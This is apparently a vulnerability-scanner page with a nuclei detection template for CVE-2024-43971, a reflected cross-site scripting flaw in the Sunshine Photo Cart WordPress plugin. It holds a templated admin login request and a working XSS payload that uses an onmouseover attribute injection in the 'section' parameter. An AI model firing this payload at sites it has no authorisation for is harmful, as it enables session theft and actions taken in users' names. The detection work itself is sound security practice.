Sunshine Photo Cart <= 3.2.5 - Reflected Cross-Site Scripting

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

50%of all CVEs are less likely

Readycheck to confirm it

WP Sunshine Sunshine Photo Cart versions up to 3.2.5 contain a reflected cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in users' browsers, exploit requires attacker to craft malicious input.

Impact

Attackers can execute malicious scripts in users' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.

Fix

Update to Sunshine Photo Cart version 3.2.6 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(tolower(all_headers), "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=sunshine&section=%22%20onmouseover=alert(document.domain)%3Bthis.remove()%3B%20style=position:fixed%3Bleft:0%3Btop:0%3Bwidth:100vw…
Positive when: status_code == 200 and contains_all(body, "alert(document.domain);this.remove(); style=position:fixed;left:0;top:0;width:100vw;height:100vh;", "Sunshine Photo Cart")

Run it with nuclei: nuclei -id CVE-2024-43971 -u <target>

The full check

id: CVE-2024-43971

info:
  name: Sunshine Photo Cart <= 3.2.5 - Reflected Cross-Site Scripting
  author: 0xanis
  severity: medium
  description: |
    WP Sunshine Sunshine Photo Cart versions up to 3.2.5 contain a reflected cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in users' browsers, exploit requires attacker to craft malicious input.
  impact: |
    Attackers can execute malicious scripts in users' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.
  remediation: |
    Update to Sunshine Photo Cart version 3.2.6 or later.
  reference:
    - https://wpscan.com/vulnerability/fa4cd831-40f2-4fa2-9439-b4d7fb94ec1e/
    - https://patchstack.com/database/vulnerability/sunshine-photo-cart/wordpress-sunshine-photo-cart-free-client-photo-galleries-for-photographers-plugin-3-2-5-cross-site-scripting-xss-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-43971
    epss-score: 0.00624
    epss-percentile: 0.50253
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: wpsunshine
    product: sunshine-photo-cart
    framework: wordpress
  tags: cve,cve2024,wordpress,wp-scan,wp-plugin,xss,sunshine-photo-cart,authenticated,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(tolower(all_headers), "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=sunshine&section=%22%20onmouseover=alert(document.domain)%3Bthis.remove()%3B%20style=position:fixed%3Bleft:0%3Btop:0%3Bwidth:100vw%3Bheight:100vh%3B HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "alert(document.domain);this.remove(); style=position:fixed;left:0;top:0;width:100vw;height:100vh;", "Sunshine Photo Cart")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from